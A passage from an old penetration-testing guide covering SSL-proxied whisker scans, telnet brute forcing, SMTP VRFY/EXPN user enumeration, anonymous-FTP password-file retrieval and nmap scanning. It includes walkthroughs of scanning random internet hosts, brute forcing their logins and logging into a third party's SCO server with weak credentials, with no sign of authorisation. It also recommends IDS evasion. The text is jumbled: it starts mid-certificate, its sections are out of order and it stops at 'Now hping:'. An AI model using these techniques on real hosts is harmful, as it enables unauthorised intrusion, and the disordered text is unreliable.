6dvunApS4DwEnqvukWDpMLzX8hwqFrFsH5ael5xGjWuJKGhS867nWNYF2XahTeUT
9Sms73BRCO3/HbxObeKLfvGsV/WsH6A1JTBiqO3YCj6+OLRL0wIDAQABo4GcMIGZ
MAkGA1UdEwQCMAAwRAYDVR0gBD0wOzA5BgtghkgBhvhFAQcBCDAqMCgGCCsGAQUF
BwIBFhxodHRwczovL3d3dy52ZXJpc2lnbi5jb20vcnBhMBEGCWCGSAGG+EIBAQQE
AwIHgDAzBgNVHR8ELDAqMCigJqAkhiJodHRwOi8vY3JsLnZlcmlzaWduLmNvbS9j
bGFzczEuY3JsMA0GCSqGSIb3DQEBBAUAA4GBABbGIo0RoPwCTUq4tQQC9mkKH1Us
TwKiE82ncbCELjGfOsW84Ud6W73ZwK1boDsV5jvs/wyiU3TUoqSoX/hoP2BJeSYm
E8yi99tS5phKyHNK+FIVtL60vp59QdUQ6141gdUUGlgLpOLeL8iACXpbgnIWyhw1
P6QDY1kLWUBdT2E5
-----END CERTIFICATE-----
You will see a certificate, and a private key, both PEM encoded. Take these
PEM encoded blocks, and cut & paste them to a file - both of them in one
file - the order does not matter. Let us assume you call the file
mycert.pem. This is your client cert and key. BTW - I would gladly give you
the password for the above cert - the only problem is that it is only valid
for 60 days, and by the time you read this its probably expired already. The
next step is to fire up the SSL proxy to use your client cert, while still
verifying the server cert. We start SSLproxyas follows:
# sslproxy -L 127.0.0.1 -l 7117 -R 168.xxx.240.30 -r 443 -v Class3.pem -c
mycert.pem
Enter PEM pass phrase:[enter you PIN here]
proxy ready, listening for connections Now test if the server accepts the public signed client certificate by
typing http://127.0.0.1:7117 on your browser. Should this work we can now
scan 127.0.0.1 on port 7117, and SSLproxywill happily pass along our client
cert in every request.

HTTPS SSL2 443 TCP

How do we connect to SSL sites? Here we need something that can understand
SSL – a proxy that will "convert" my normal HTTP into HTTPS. SSL proxy is
just such a program - it's available for FreeBSD and Linux as a package and
RPM respectively. Let us see how we would run whisker against a SSL site
https://xxx.co.za. The procedure looks like this - we will discuss it step
by step afterwards:
# host xxx.co.za
xxx.co.za has address 168.xxx.240.30
/# ssl proxy
No remote address given
usage: ssl proxy [-L <local address>] [-l <local port>]
[-R <remote address>] [-r <remote port>] [-s] [-n] [-c <certfile>]
[-k <keyfile>] [-v <verify file>] [-V <verify dir>] [-C] [-P]
sslproxy -h prints short help
valid options are:
-L <local address> IP address where proxy will bind (default=0.0.0.0)
-l <local port> port number where proxy will bind
-R <remote address> IP address or host name the proxy will connect to
-r <remote port> port number the proxy will connect to
-s run as server proxy, not client proxy
-n do automatic SSL negotiation for net bios
-p <protocol> protocol to use, may be: ssl23 (default), ssl2, ssl3, tls1
-c <certfile> use the given certificate in PEM format
-k <keyfile> use the given key in PEM format (may be contained in cert)
-v <verify file> file containing the CA's certificate
-V <verify dir> directory containing CA certificates in hashed format
-C use SSL compatibility mode
-P require valid peer certificate
/# sslproxy -L 127.0.0.1 -l 7117 -R 168.xxx.240.30 -r 443 -v Class3.pem >&
/dev/null
/# perl whisker.pl -h 127.0.0.1 -p 7117
-- whisker / v1.4.0 / rain forest puppy / www.wiretrip.net --
= - = - = - = - = - =
= Host: 127.0.0.1
= Server: Microsoft-IIS/4.0
---cut----
The first step is to find the IP number of the host. Next we set up the
SSLproxylistening on port 7117 and going to the server on port 443 (SSL).
The proxy will verify the server certificate with the CA certificate
Class3.pem that was exported from a browser and looks like this (I add it
here so save you some time):
-----BEGIN CERTIFICATE-----
MIICPTCCAaYCEQDknv3zOugOz6URPhmkJAIyMA0GCSqGSIb3DQEBAgUAMF8xCzAJ
BgNVBAYTAlVTMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjE3MDUGA1UECxMuQ2xh
c3MgMyBQdWJsaWMgUHJpbWFyeSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw05
NjAxMjkwMDAwMDBaFw0wNDAxMDcyMzU5NTlaMF8xCzAJBgNVBAYTAlVTMRcwFQYD
VQQKEw5WZXJpU2lnbiwgSW5jLjE3MDUGA1UECxMuQ2xhc3MgMyBQdWJsaWMgUHJp
bWFyeSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTCBnzANBgkqhkiG9w0BAQEFAAOB
jQAwgYkCgYEAyVxZnvIbigEUtBDfBEDb41evakVAj4QMC9Ez2dkRz+4CWB8l9yqo RAWq7AMfeH+ek7maAKojfdashaJjRcdyJ8z0TMZ1cdI5709C8HXfCpDGjiBvmA/4
rCNfcCk2pMmG57GaIMtTpYXnPb59mv4kRTPcdhXtD6JxZExlLoFoRacCAwEAATAN
BgkqhkiG9w0BAQIFAAOBgQBhcOwvP579K+ZoVCGwZ3kIDCCWMYoNer62Jt95LCJp
STbjl3diYaIy13pUITa6Ask05yXaRDWw0lyAXbOU+Pms7qRgdSoflUkjsUp89LNH
ciFbfperVKxi513srpvSybIk+4Kt6WcVS7qqpvCXoPawl1cAyAw8CaCCBLpB2veZ
pA==
-----END CERTIFICATE-----

The final step is to get whisker to scan local host on port 7117. The proxy
listens on port 7117 and "converts" the HTTP request to SSL on the target
machine. Notice that we append a >& /dev/null & to the proxy command to
ensure that we can easily read the output. Testing the proxy can be done by
just firing up the proxy and connecting with a browser to
http://127.0.0.1:7117.
Let us assume that we have found a vulnerability on the host and we want to
use it. We would then simply edit the exploit to point to port 7117 and
execute the exploit against 127.0.0.1 (we will look at this in more detail
later). Why not bind the proxy to port 80? The reason I have it on port 7117
is because I don't want to stop and start my web server every now and again -
if you are not running a web server you should not have a problem binding to
port 80. The other reason might be that you do not have root rights on the
host - an ordinary user can execute programs that bind to port above 1024.

HTTP 80 TCP

Web servers are interesting beings - they are the most common service on the
Internet - there are many of these running around. The two most common
web servers are Microsoft IIS and Apache. They run respectively on Windows
and UNIX (although Apache is available from Windows as well)...but you knew
this right? In most cases (except for one) one generally cannot get full
control over a web server - it is thus, in terms of control, a less
"vulnerable" service as telnet. The problem nowadays with webs ervers are
that they serve a whole lot of data- this is, a lot of them contains data that is just as sensitive as the data that you will find on a corporate
internal file server. The attacks to webs ervers can be categorized- attacks
that returns data that the server should not be returning (e.g. Abusing your
rights on the server), executing commands on the server (even taking control
of the server) and stopping the server (denial of service attacks). There
are many tools out there that will scan a server for exploitable CGIs (these
includes PERL scripts, DLLs, EXEs, PHPs and others) as well as looking for
interesting directories or files. The tool we prefer (and we think a lot of
people will agree) is something called whisker (by Rain Forrest Puppy, get
it here http://www.wiretrip.net/rfp/p/doc.asp?id=21&iface=1). The latest
version of whisker is version 1.4. Whisker is a PERL script that does
intelligent scanning of web servers. We don't want to go into too much detail
of the inner workings of the scanner - there is plenty of documentation on
RFP's site - the bottom line is that whisker is highly configurable, and
very effective. One of the more useful features of whisker is that it uses a
vulnerability "database" - thus the engine uses "plugins", and the plugins
can be updated. The security community adds new "signatures" every now and
again to the database - this keeps the scanner current with all the new
vulnerabilities that are discovered.
How do we use whisker? Give me a practical example! OK - let us assume that
we want to scan a web server somewhere. Lets begin with straightforward IIS
web server -no authentication, no SSL, no special cleanup, and no IDS - just
static pages. We start whisker as follows:
perl whisker.pl -h 196.xxx.183.2
This host happens to be the primary MX record for the domain xxx.co.za. If
we can control this host, we can probably also get some interesting data.
The server was chosen because it does not facilitates virtual websites, and
is a stock standard IIS version 4.0 server - with no additional data. Its
prima function is that of mail serving - not serving webpages. The output
looks like this:
-- whisker / v1.4.0 / rain forest puppy / www.wiretrip.net --
= - = - = - = - = - =
= Host: 196.xxx.183.2
= Server: Microsoft-IIS/4.0
+ 200 OK: GET /msadc/Samples/selector/showcode.asp
+ 200 OK: GET /msadc/samples/adctest.asp
+ 200 OK: GET /iisadmpwd/aexp4b.htr
+ 200 OK: HEAD /msadc/msadcs.dll
+ 200 OK: HEAD /_vti_inf.html
+ 200 OK: HEAD /_vti_bin/shtml.dll
+ 200 OK: HEAD /_vti_bin/shtml.exe
We can see that this host has a few vulnerabilities - maybe the most serious
of them is that it hosts "msadcs.DLL". Abusing this DLL one can gain
complete control of the server. The "Showcode.asp" ASP can be used to view
any file on the same drive as the webroot, and the "aexp4b.htr" can be used
to do brute force password attacks on the server. The scope of paper is not
to describe every one of the 300 odd vulnerabilities that whisker tests for.
We will rather concentrate on different scan types, bypassing IDS systems,
connecting to SSL-enabled servers, and brute forcing authentication systems.
Lets look at some of the parameters that can be passed to whisker, and how
we would use them (at this stage of the discussion the reader should REALLY
try to read RFP's whisker documentation - get it here:
http://www.wiretrip.net/rfp/bins/whisker/whisker.txt. We will only look at
the common switches). One of the switches that is very useful is the "-V"
switch - his tells whiskerthat the target is a virtually hosted site, and
it will thus add the "host: XXX" entry in the HTTP header. But - how do we
know if a site is virtually hosted? Let us assume that I want to find out if
the site www.sensepost.comis virtually hosted. The forward entry for
www.sensepost.comis 216.0.48.55. When I open a browser and enter the IP
address 216.0.48.55 I get to a totally different website. The webserver
running on 216.0.48.55 thus looks at the HTTP header and decides what page should be served - a virtually hosted site. Should I test for URLs (say
brute forcing URLs) with whisker, we would thus add the -V switch, and
specify the DNS names - not the IP number. If we should spec the IP number
we will not be looking at the website www.sensepost.com, but at the
underlying webserver - which might not be a bad idea, but maybe not the true
intention. Hey - did I mention to read the whiskermanual? Another switch
that is used frequently is the -I switch. The -I switch fires up whisker's
stealth mode - the IDS bypassing module. How does an IDS work - it looks for
patterns or signatures. If we can disguise our patterns the IDS may not
detect it. The -I switches disguise whisker'sattacks in many ways - making
it hard for an IDS to find us.

Telnet 23 TCP

The most prized port to find open could be the telnet port. An open telnet
port usually denotes an UNIX host or a router. Sometimes an AS400 or
mainframe could be found. Why are we excited about an open telnet port? The
reason is twofold. First - the host may contain sensitive data in
directories that are not properly protected - see the section on "finding
the goods". The second reason is that UNIX hosts are the ideal "relaunch"
platform. What I mean by this is that your should be able to upload your
entire "toolbox" to the server, that you should be able to attack hosts that
are usually fire walled or not routed from this server. Even if you are not
able to upload a toolbox you should be able to telnet to other (internal)
servers from a router or a UNIX server. How do we go about getting a shell
(or Router prompt)? Usually a username and a password are required. In some
cases only a username is needed, and in some cases only a password is needed
for Cisco routers. The bottom line is that we need two or less "things" - be
that a username or a password. How do we find these two things? There are
some techniques to find a username (many of these techniques were used in
our previous penetration testing example, so I will not show input/output):
1. Some routers or UNIX hosts will tell you when you have entered an
incorrect username - even if you don't provide a password.
2. Telnet to port 25 and try to issue EXPN and VRFY commands. Try to
expand (EXPN) list-like aliases such as abuse, info, list, all etc. In
many cases these point to valid usernames.
3. Try to finger a user on the host. Later in this document we will look
at finger techniques :)
4. Try anonymous FTP and get the password file in /etc. Although it
should be shadowed, it may reveal valid usernames
5. Try anonymous FTP and do a cd ~user_to_test_for- see the section on
FTP.
6.  Use default usernames. A nice list of default usernames and passwords
can be found at www.nerdnet.com/security/index.php
7. Try common usernames such as "test", "demo", "test01" etc.
8. Use the host name or a derivative of the host name as username.
9. See if the host is running a web server and have a look at the website
- you might learn more than you expect - look at the "Contact" section
and see if you can't mine some usernames. Looking at the website may
also help you to guess common usernames.
Ok, so now you have a rather long list of possible usernames. The idea would
be to verify that these users exist. It would be a bonus if you could verify
that the users exist. If we cannot verify that the user is valid we have to
test it via the telnet protocol. We still need a password. Unfortunately
there is no easy way to verify a password - you have to test this manually.

Manually?! I don't think so! Bind View Corporation's RAZOR security team
provided the world with VLAD(get it here
http://razor.bindview.com/tools/vlad/), a tool that packaged some very
useful tools. One of these tools has the ability to test usernames and
passwords for (amongst other things) telnet. (The tool does not have support
for password only telnet daemons - such as some routers, but the author
tells me they are looking into it). Without getting too involved in this
tool, lets see how our technique works against an arbitrary host (to find a
totally arbitrary host we use nmap to find a random host with open port 23:
nmap -sT -iR -p 23) Nmap finds the site 216.xxx.162.79 open to telnet:
/tmp# telnet 216.xxx.162.79
Trying 216.xxx.162.79...
Connected to 216.xxx.162.79.
Escape character is '^]'.
SunOS 5.6
xxx.xxx.com
Welcome to xxxxxxxxxxxxx
force Running Solaris 2.6.0
login:
We telnet to port 25, and find that there are no mail daemon running - no
EXPN or VFRY possibilities. It seems that there are no anonymous FTP - no
getting the password file. The finger daemon is also not running. Let us
leave this host alone - we don't want to offend XXX - they have implemented
some measures to keep people out.
Another IP that nmap gives us is 216.xxx.140.132. This host (SCO UNIX) is
running Send mail and finger. When we do a finger command, we find many
usernames. To get these into a single file we issue the following command:
finger @216.xxx.140.132 | awk '{print $1}' | uniq > usernames
The next step would be to see if can use these usernames with common
passwords. We use VLAD's brute force telnet module as follows:
perl pwscan.pl -v -T 216.xxx.140.132,
with the usernames in the file account.db. The output of the pwscan.pl PERL
script looks like this:
/ports/vlad-0.7.1# perl pwscan.pl -v -T 216.xxx.140.132
RAZOR password scanner - version: $Id: pwscan.pl,v 1.17 2000/07/24 17:14:43
loveless Exp $
Checking 216.xxx.140.132
telnet check. User:angela, pass:angela
telnet check. User:angela, pass:
telnet check. User:angela, pass:12345
telnet check. User:angela, pass:abcdef
telnet check. User:angela, pass:god
telnet check. User:angela, pass:guess
telnet check. User:angela, pass:none
telnet check. User:angela, pass:password
telnet check. User:angela, pass:qwerty
telnet check. User:angela, pass:secret
telnet check. User:angela, pass:sex
telnet check. User:angela, pass:test
---cut---
Running through all usernames and common passwords, we find ..nothing. No
username could be brute forced. Now what? The next step is to find more
usernames. We attempt to the following:
finger test@216.xxx.140.132
The output looks like this:
/tmp# finger test@216.xxx.140.132
[216.xxx.140.132]
Login name: test In real life: TEST ACCOUNT
Directory: /home/test Shell: /OpenServer/bin/sh
Never logged in.
No unread mail
No Plan.
Login name: monotest In real life: Monorail Test
Directory: /home/monotest Shell: /OpenServer/bin/sh
Last login Fri Aug 4 12:10 on pts038 from www.multiuser.cH
No unread mail
No Plan.
This looks promising. The "test" user does not seem to have a weak password
- we test it manually. The "monotest" user however delivers...logging in
with username "monotest", and password "monotest" we gain access to the UNIX
host:
/tmp# telnet 216.xxx.140.132
Trying 216.xxx.140.132...
Connected to xxxx.com.
Escape character is '^]'.
SCO UnixWare 7.1.0 (xxxx) (pts/42)
login: monotest
Password:
UnixWare 7.1.0
musapp
Copyright (c) 1976-1998 The Santa Cruz Operation, Inc. and its suppliers.
All Rights Reserved.
RESTRICTED RIGHTS LEGEND:
When licensed to a U.S., State, or Local Government,
all Software produced by SCO is commercial computer software
as defined in FAR 12.212, and has been developed exclusively
at private expense. All technical data, or SCO commercial
computer software/documentation is subject to the provisions
of FAR 12.211 - "Technical Data", and FAR 12.212 - "Computer
Software" respectively, or clauses providing SCO equivalent
protections in DFARS or other agency specific regulations.
Manufacturer: The Santa Cruz Operation, Inc., 400 Encinal
Street, Santa Cruz, CA 95060.
Last login: Fri Aug 4 12:10:15 2000 on pts038
NOTICE: Unregistered SCO software is installed on your system. Please
refer to SCO's online help for registration information.
$ exit
The interesting thing about this is that the finger daemon returns all
usernames that contains the word "test". In the same way we can finger users
such as "admin", and "user", and get interesting results.
Most machines that are running telnet, and has more than a certain amount of
users (mostly multi-user machines) almost always hosts users with weak or no
passwords - the idea is just to find them. From here it is fairly certain
that you will find a local SCO exploit that will elevate you to root.

FIRE !

Depending on the outcome of the port scan, we can now decide what tools to
use against the server. Let us first look at some typical ports that one
might find open on a server, and list the tool of preference to use against
the service running behind the open port. In many cases one has to
investigate the service manually - the UNIX/Microsoft commands will be
listed as well. Let us begin with the most common ports first - we will list
the steps and tools we are using. The idea is not to build a database of
tools or techniques, but rather discuss each service, and the issues with
each service.

Hacker's view (no kill at all)

Let us then look at another example: www.sensepost.com. Our website (it is
hosted offsite BTW). And let us go through the same steps, assuming we know
nothing about the host.
We telnet to port 25 to find it filtered. The port is not wrapped - wrappers
are very characteristic of UNIX hosts. [ Telling if a services is can be
determined as follows:
# telnet cube.co.za
Trying 196.38.115.250...
Connected to cube.co.za.
Escape character is '^]'.
Connection closed by foreign host.
We see that we can establish a complete connection, but that the connection
is closed immediately. Thus, the service is wrapped (TCP wrappers made
famous by Venema Wietse). Wrappers allows the sysadmin to decide what source
IP address(es) are allowed to connect to the service. It is interesting to
note that wrapper might be set up to work with the source IP, or with the
DNS name of the source. In some situations one can determine if the server
uses IP numbers or DNS names - if the connection is not closed immediately
(say it takes 2-10 seconds) it is probably using DNS names. Another way to
determine if the wrapper is using DNS names or IP numbers is to connect to
it with a IP number that does not have a reverse resolvable name. The server
will attempt to reverse resolve your IP address - this might take a while -
it is this delay that you will be able to see when connecting to the host.
(The interesting part of this is that if the wrapper uses DNS one can get
past it if one has complete control over both the mechanisms that controls
both the forward and reverse DNS entries)]
Getting back to our website. Port 25 is filtered. How about port 80? (I hope
not - else our website is down!) Connecting to port 80 reveals that we are
dealing with a UNIX platform:
# telnet www.sensepost.com 80
Trying 216.0.48.55...
Connected to www.sensepost.com.
Escape character is '^]'.
GET / HTTP/1.0<cr>
<cr>
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
<TITLE>501 Method Not Implemented</TITLE>
</HEAD><BODY>
<H1>Method Not Implemented</H1>
get to /main.html not supported.<P>
Invalid method in request get /<P>
<HR>
<ADDRESS>Apache/1.3.6 Server at www.sdn.co.za Port 80</ADDRESS>
</BODY></HTML>
Connection closed by foreign host.
Issuing the "GET / HTTP/1.0” command we see a response that includes the
text "Apache/1.3.6", a famous UNIX webserver (I understand that Apache is
now also available for Windows). We know that port 25 is firewalled. This
means that the host is probably properly firewalled. Just to make sure we
telnet to port 23 (telnet) and our suspicion is confirmed - the port is
filtered.
Now what? The idea is now to start a portscan on the host. As mentioned
before we don't want to do a complete scan on the server - we are just
interested in ports that is servicing services that we know are exploitable
or that might turn up interesting information in a vulnerability scanner.
Knowing the O/S could also helps a lot. Thus, a command as follows is
issued:
# nmap -O -sS -P0 216.0.48.55 -p
21,22,53,69,98,110,443,1080,2049,3128,8080,1433,6667
We don't want to look at ports 23 and 80 as we know their status. All the
other ports might service exploitable services. We want to see if there are
any proxies running on the host (1080,3128 and 8080). Port 98 is Linux
config port, 69 is TFTP and 1433 is MSQL (maybe it is a MS box after all).
The output looks like this:
Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/ )
Interesting ports on www.sdn.co.za (216.0.48.55):
(The 2 ports scanned but not shown below are in state: closed)
Port State Service
21/tcp open ftp
22/tcp filtered ssh
69/tcp filtered tftp
80/tcp open http
98/tcp filtered linuxconf
110/tcp filtered pop-3
1080/tcp filtered socks
1433/tcp filtered ms-sql-s
2049/tcp filtered nfsd
3128/tcp filtered squid-http
6667/tcp filtered irc
8080/tcp filtered http-proxy
TCP Sequence Prediction: Class=random positive increments
Difficulty=49224 (Worthy challenge)
Remote OS guesses: Solaris 2.6 - 2.7, Solaris 7
Checking the version of the services on the only two open ports (21 and 80)
we find that this is more of a challenge. Trying common usernames and
passwords at the FTP service also does not prove to work (including
anonymous - as in the previous case).
Maybe we need to do a complete scan on the host - maybe there is an
unprotected root shell waiting on a high port? How about UDP? Maybe putting
on our security assessment hat would prove necessary? Maybe we need to look
more in depth? Now, I am not saying that a hacker will not do this - I am
only going into "assessment" mode, as this is where an assessment will start
anyway.
A complete scan of the host is the place to start. We proceed to do this:
nmap -sS -O -P0 www.sensepost.com
The results looks as follows:
Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/ )
Interesting ports on www.sdn.co.za (216.0.48.55):
(The 1518 ports scanned but not shown below are in state: filtered)
Port State Service
21/tcp open ftp
53/tcp closed domain
80/tcp open http
443/tcp closed https
4321/tcp open rwhois
TCP Sequence Prediction: Class=random positive increments
Difficulty=15377 (Worthy challenge)
Remote operating system guess: Solaris 7
The only other open port is 4321. From the service file it seems that port
4321 is used for rwhois(remote WHOIS queries). But never trust the service
file - 4321 sounds a bit suspect, it could be a backdoor put there by a
previous administrator. We check it out manually:
# telnet www.sensepost.com 4321
Trying 216.0.48.55...
Connected to www.sensepost.com.
Escape character is '^]'.
%rwhois V-1.5:003fff:00 rwhois.sdn.co.za (by Network Solutions, Inc. V-1.5.5)
It checks out pretty OK. The host is running an FTP and HTTP daemon. Are
they using safe versions of these? Is the HTTP server configured properly?
In the next section we look at using tools developed by other people and
companies - these tools will help us to uncover any holes in the defense of
a host.

The hacker's viewon it (quick kill example)

(Let us see - if I can obtain root/administrator access on a host, why would I bother to see the Ethernet card's stats, or be able to write a message to all the users? No - if I know that there is a possibility to obtain super user status I will go for it right away. My point is this - I would only port scan a host on ports that is servicing services that can easily lead to a compromise. And mind you - skip the vulnerability scanners. Grab the banners and versions and see if the host is running vulnerable versions of the service. If it is - go directly for the kill.  

OK, let us take it step by step, with examples etc. Let us assume the host that I am interested in is 196.3x.2x.7x. From the previous section I know exactly where it is located and that it is active. For various reasons I want to get a shell on this host. First of all I am interested in what O/S it is running. Maybe not the exact version - I just want to know if the host is running Unix or Windows. And remember, I don't want to set off all the bells and whistles along the way. Which are the most common ports that are open on hosts in the Internet? I would say port 25 (SMTP) and port 80 (HTTP). I have a good chance of knowing the O/S by telnetting to either of these ports, and as such I telnet to port 25:

# telnet 196.3x.2x.7x 25
Trying 196.3x.2x.7x...
Connected to 196.3x.2x.7x.
Escape character is '^]'.
220 xxx.xx.co.za ESMTP Sendmail 8.7.1/8.7.1; Mon, 14 Aug 2000 00:20:28 +0100
(BST)

I reply with the QUIT command to terminate the connection. As we can all
see, the host replied with a Sendmail banner (a rather old Sendmail as
well). Common sense tells us that this host is a UNIX system.
Keeping in mind that I am only trying to get a shell on the host, I proceed
to the next logical step - telnetting to port 23 (telnet). Maybe the port is
wrapped. Maybe it is firewalled. Maybe I should just find out:
# telnet 196.3x.2x.7x
Trying 196.3x.2x.7x...
Connected to xxx.xx.co.za.
Escape character is '^]'.
HP-UX u46b00 B.10.20 A 9000/831 (ttyp1)
login:

It not wrapped or firewalled. The host does not look at though it is
firewalled at all (it could be...we don't know, and we don't care - we will
find out soon enough). We go directly to the next step - see if the finger
port is open:
# finger @196.3x.2x.7x
[196.3x.2x.7x]
finger: read: Connection refused
Hmm...the host's finger service is not filtered, but then again - it's not
running finger. How do we get a username and a password? On UNIX systems
where are several ways to find out if a user exists - we would have to guess
a password. If the Sendmail were not configured to do so it would allow us
to issue a VRFY and EXPN command. These commands will verify if a user
exists and expand the username if it is pointing to other email address
respectively. Let us use some common usernames and see if they exist:
# telnet 196.3x.2x.7x 25
Trying 196.3x.2x.7x...
Connected to xxx.xx.co.za.
Escape character is '^]'.
220 xxx.xx.co.za ESMTP Sendmail 8.7.1/8.7.1; Mon, 14 Aug 2000 00:34:01 +0100
(BST)
vrfy test
250 user <test@xxx.xx.co.za>
vrfy user
550 user... User unknown
vrfy u46b00
550 u46b00... User unknown
vrfy root
250 <root@xxx.xx.co.za>
expn root
250 <root@xxx.xx.co.za>
vrfy guest
550 guest... User unknown
vrfy mail
550 mail... User unknown
expn webmaster
550 webmaster... User unknown
expn postmaster
250 <root@xxx.xx.co.za>
Let us see what happened here. First of all we see that EXPN and VRFY
commands are allowed. The username "test" exists. The username "user" and
"u46b00" does not exist. The username "root" exists. The username "root"
does not have any aliases, but the username "postmaster" is feeding the
"root" account.
So - the username "test" exists. The username test is very common is systems
that are not kept in a good condition. No points for guessing what password
we are going to use with user "test":
# telnet 196.3x.2x.7x
Trying 196.3x.2x.7x...
Connected to xxx.xx.co.za.
Escape character is '^]'.
HP-UX u46b00 B.10.20 A 9000/831 (ttyp1)
login: test
Password:
Login incorrect
login: test
Password:
Login incorrect
login: test
Password:
Login incorrect
Connection closed by foreign host.
Hmm...interesting. The username "test" does not have password "test",
"test1" or "test01". Now - we might try another few passwords, but this is really not the idea. How about just getting a list of usernames on the
system? Maybe that would give us a better idea of username that have weak
passwords? Let us see:
# ftp 196.3x.2x.7x
Connected to 196.3x.2x.7x.
220 u46b00 FTP server (Version 1.7.212.2 Tue Apr 21 12:14:46 GMT 1998) ready.
Name (196.3x.2x.7x:roelof): anonymous
331 Guest login ok, send indent as password.
Password:
230 Guest login ok, access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> CD /etc
250 CWD command successful.
ftp> get passed
local: passwd remote: passwd
227 Entering Passive Mode (196,3x,2x,7x,8,186)
150 Opening BINARY mode data connection for passed (7695 bytes).
100% |*************************************************| 7695 00:00 ETA
226 Transfer complete.
7695 bytes received in 2.06 seconds (3.64 KB/s)
ftp> exit
221 Goodbye.
~/perl/telnet/brute more passwd
root:*:0:3::/var/sam:/usr/bin/false
root:*:0:3::/var/sam:/usr/bin/false
daemon:*:1:5::/var/sam:/usr/bin/false
bin:*:2:2::/var/sam:/usr/bin/false
sys:*:3:3::/var/sam:/usr/bin/false
adm:*:4:4::/var/sam:/usr/bin/false
uucp:*:5:3::/var/sam:/usr/bin/false
lp:*:9:7::/var/sam:/usr/bin/false
nuucp:*:11:11::/var/sam:/usr/bin/false
hpdb:*:27:1::/var/sam:/usr/bin/false
----cut----
The problems with these unkept "old" UNIX hosts are that they keep the
"shadow" password file in the /etc directory of the anonymous FTP user.
While the file does not contain any passwords, it gives us a very good idea
of which users may have weak passwords. We inspect the shadow password file
and focus on the following entries:
pro:*:100:100::/var/sam:/usr/bin/false
mis2000:*:208:1000::/var/sam:/usr/bin/false
lab:*:369:2000::/var/sam:/usr/bin/false
oracle:*:101:100::/var/sam:/usr/bin/false
doggy:*:541:2000::/var/sam:/usr/bin/false
f399:*:611:2000::/var/sam:/usr/bin/false
These users have suspect names - they don't fit the description of "normal"
usernames - these are typically usersnames that are used by more than one
person and these normally have weak passwords. Starting from the top, we hit
the jackpot with the second user "mis2000":
# telnet 196.3x.2x.7x
Trying 196.3x.2x.7x...
Connected to xxx.xx.co.za.
Escape character is '^]'.
HP-UX u46b00 B.10.20 A 9000/831 (ttyp1)
login: mis2000
Please wait...checking for disk quotas
What is your terminal type?
No password...at all. Now, I hear all the script kiddies going - yeah, we
are hackers, we also could have done that - and the more seasoned hackers
saying - sheet this is not hacking - it is clubbing baby seals. And it is.
But this is not the point - the point is the method used. It shows that the
hacker goes directly for the kill - in a situation like the one described
above it make not sense portscanning the host first - everything you need is
right there.

General scanners vs. custom tools

Why? Why not use a vulnerability scanner that checks for 1000 vulnerabilities on a host, and just see what it comes up with? Well - it's tasteless, it consumes bandwidth, CPU power, lots of time, and most important, it will light up any IDS (or semi-alive sysadmin) like a Christmas tree. Furthermore, the general vulnerability scanners are not always that effective and up to date (there are exceptions of course). Custom-made scanners is tailored for the occasion, they are streamlined, and they are not as noisy as general scanners. Imagine taking an "all-terrain 4x4" to the surface of Mars...  How to decide to load the weapons? Most scanners look for vulnerabilities in services. A service is normally bound to a specific port. Thus, finding what ports are open on a host will tell us what services it runs, which in turn will tell us how to configure our scanners. Many scanners have a portscanning utility built-in, and claim to scan only "discovered" services. Most of the time this works well - but you will find that it have limitations. There is no substitute for plain common sense. 

Loading the weapons

At this stage we know where the target is located, and we have a good idea of the target's status (alive or dead). From DNS information we can get an idea of the importance of the target. The next step would be to find information that would help us choosing the correct weapons. It's no use bringing a knife to a gunfight - on the other hand it just stupid to nuke a whole city in order to execute one person. We want to be in a position to know exactly which weapons to load. The chapter examines this situation by looking at two examples - both from a hacker's viewpoint.

Before we go on

The next step would be to look for what I call "easy money". Before we can go into the details of this, there are some points to understand. There are some major differences between auditing a network and hacking into a network. Let us look at the analogy of a house. On the one hand you have the true blue blood burglar - the objective is getting into the house with whatever means possible. The burglar looks for the easiest and safest way to get into the house and he does not care about all the other means. On the other hand the security officer - it is his job to tell the client of every single little hole in the house. The difference between the security officer and the burglar is that when the security officer finds the front door wide open he notes it, and looks for other problems, whereas the burglar find the front door open and walks straight in, ignoring the other holes. In the cyber world it works the same. So, hiring a hacker (in the criminal sense of the world) to audit a system is a bit worrisome. The hacker will surely help you to find a weakness in your defense, but the idea of an IT security audit is not this - the idea is to find all the holes and fix them. Once you and your security advisor is confident that all holes are closed you might want to hire a hacker (or penetration specialist) to try to penetrate the network. The bottom line - doing penetration testing and doing a comprehensive security assessment of a network is not nearly the same thing.
This document had come to the point where I have to decide which route we are going to follow - the view of the hacker or the view of the IT security assessment officer. Choosing either one of the options I cannot continue with Citibank as an example unless I want to land in potentially serious trouble. The rest of the document - with the focus on either hacking or assessing will thus be looking at actual client networks - networks we every right to penetrate. The techniques can be implemented at Citibank as well - in the exact same way, but I simply cannot do it right here and now as Citibank is not my client (unfortunately).

Summary

The idea in this chapter is to know which machines are "alive". It is of no use attacking a dead machine. There are several techniques to "hide" hosts. Hosts on unrouted/experimental networks cannot be discovered directly. There are ways to determine if a host is "alive". The simplest way is to ping it. If ICMP is blocked this will not work - then a TCP ping should be considered. One should be really careful how an "alive-scan" is executed as it can raise alarms. The tool nmap can be used very effectively in archiving this.

Method2 (against stateless Firewalls)

What is the difference between stateful and stateless firewalls really? Well to understand the difference, you got to understand how a TCP connection looks like: the client sends a TCP packet with the SYN flag set, the server responds with a TCP packet with the SYN and the ACKL flags set. Thereafter the server and the client send TCP packets with the ACK flag set. To ensure two-way communication, stateless firewalls usually have a rule (the very last rule) that states that “established” connections are allowed; packets with the ACK flag set. How does this help us? Well, if I send a packet to a server with only the ACK flag set, the server will respond with a RST (reset) flag. This is due to the fact that the server does not know why I am sending a packet with only the ACK flag set (in other words it says: “hey! We haven’t performed a 3 way handshake – bugger off”). Thus, if the machine is alive we WILL get a response – a RST packet.

How do we do it? Simple – there a nifty tool called hping that does this (and a lot more). Let us see how. Lets send a packet with only the ACK flag set- hping will detect if anything comes back. We run hping against a machine that sits behind a stateless firewall: (first we ping it to show you what happens)

# ping -c 3 196.35.xxx.12

PING 196.35.xxx.12 (196.35.xxx.12): 56 data bytes

--- 196.35.xxx.12 ping statistics ---

3 packets transmitted, 0 packets received, 100% packet loss

Now hping:

